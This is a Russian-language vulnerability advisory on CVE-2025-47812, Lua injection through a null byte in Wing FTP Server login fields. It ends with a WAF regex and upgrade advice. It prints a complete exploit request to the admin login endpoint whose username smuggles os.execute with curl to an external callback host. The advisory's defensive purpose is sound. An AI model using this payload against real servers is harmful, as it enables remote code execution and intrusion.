CVE-2025-47812 — критическая уязвимость, которая позволяет выполнить удалённый код (RCE) через инъекцию LUA. Она затрагивает версии Wing FTP Server до 7.4.4 и связана с неправильной обработкой нулевого байта (\0 или %00) в имени пользователя.
Метрики
Base Score : 10 Critical
CWE: CWE-158
Эта уязвимость опасна не только для панели авторизации пользователей, но и для панели авторизации администратора.
Как работает атака
— Атакующий вставляет LUA-скрипт в поле username при авторизации.
— Сервер возвращает ответ с cookie, содержащим UID или UIDADMIN.
— Атакующий посылает запрос на любой защищённый эндпоинт, доступный после авторизации, с заголовком из этого cookie.
В результате — удаленное выполнение кода.
Важно: для успешной атаки не нужны действительные учётные данные, если включён анонимный вход.
О конечных точках
На сегодняшний момент публичные эксплойты атакуют конечную точку
loginok.html. Однако, как мы уже писали, уязвима и панель авторизации администратора на admin_loginok.html./loginok.html — вход для пользователей./admin_loginok.html — вход для администратора.Пример атаки на панель авторизации администратора
1. Отправляем POST запрос на
/admin_loginok.html с телом (скриншот 1):username=admin%00]];os.execute("curl+https://yzvsXXX.oast.fun")%0d--&password=admin1234&username_val=admin&password_val=admin1234В параметре username отправляется
Curl, на внешний сервер, через os.execute.2. Отправляем запрос с полученным UIDADMIN (скриншот 2).
3. Получаем запрос от атакуемого сервера (скриншот 3).
Для атаки необходимо знать данные авторизации администратора. А LUA-код может быть любым.
Как защититься
На WAF можно написать правило, блокирующее POST запросы на уязвимые конечные точки
/loginok.html и /admin_loginok.html с телом сообщения, которое содержит нулевой бай. Например, через подобное регулярное выражение: (%00|\x00).*?[:=\.-]+
Настоятельно рекомендуем обновиться на версию от 7.4.4.


